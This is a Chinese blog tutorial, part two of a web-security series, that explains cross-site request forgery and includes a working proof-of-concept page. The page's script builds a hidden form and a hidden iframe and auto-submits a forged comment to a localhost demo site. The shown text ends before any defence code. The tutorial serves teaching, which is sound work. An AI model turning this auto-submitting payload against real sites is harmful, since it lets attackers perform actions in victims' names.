web前后端漏洞分析与防御（二）-CSRF

最新推荐文章于 2023-12-02 08:13:57 发布

空默寒

最新推荐文章于 2023-12-02 08:13:57 发布

阅读量528

点赞数

分类专栏：【web前后端漏洞分析与防御】文章标签： Java web CSRF

本文链接：https://blog.youkuaiyun.com/hhq12/article/details/81268557

版权

【web前后端漏洞分析与防御】专栏收录该内容

4 篇文章

订阅专栏

本文深入解析了跨站请求伪造（CSRF）攻击的工作原理及其防御措施。介绍了如何利用恶意代码在用户不知情的情况下向目标网站发送请求，以及通过验证码、Token等手段进行防护。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

跨站请求伪造攻击CSRF(Cross Site Request Forgy)

SRF跨站点请求伪造(Cross—Site Request Forgery)，跟XSS攻击一样，存在巨大的危害性，你可以这样来理解：
攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作，比如以你的名义发送邮件、发消息，盗取你的账号，添加系统管理员，甚至于购买商品、虚拟货币转账等。如下：其中Web A为存在CSRF漏洞的网站，Web B为攻击者构建的恶意网站，User C为Web A网站的合法用户。

发送给http://localhost:1521/已登录用户，该用户打开就会中招
iframe是防止页面跳转
<script>
            document.write(`
                <form name="commentForm" target="csrf" method="post" action="http://localhost:1521/post/addComment">
                    <input name="postId" type="hidden" value="1">
                    <textarea name="content">来自CSRF！</textarea>
                </form>`
            );

            var iframe = document.createElement('iframe');
            iframe.name = 'csrf';
            iframe.style.display = 'none';
            document.body.appendChild(iframe);

            setTimeout(function(){
                document.querySelector('[name=commentForm]').submit();
            },1000);
        </script>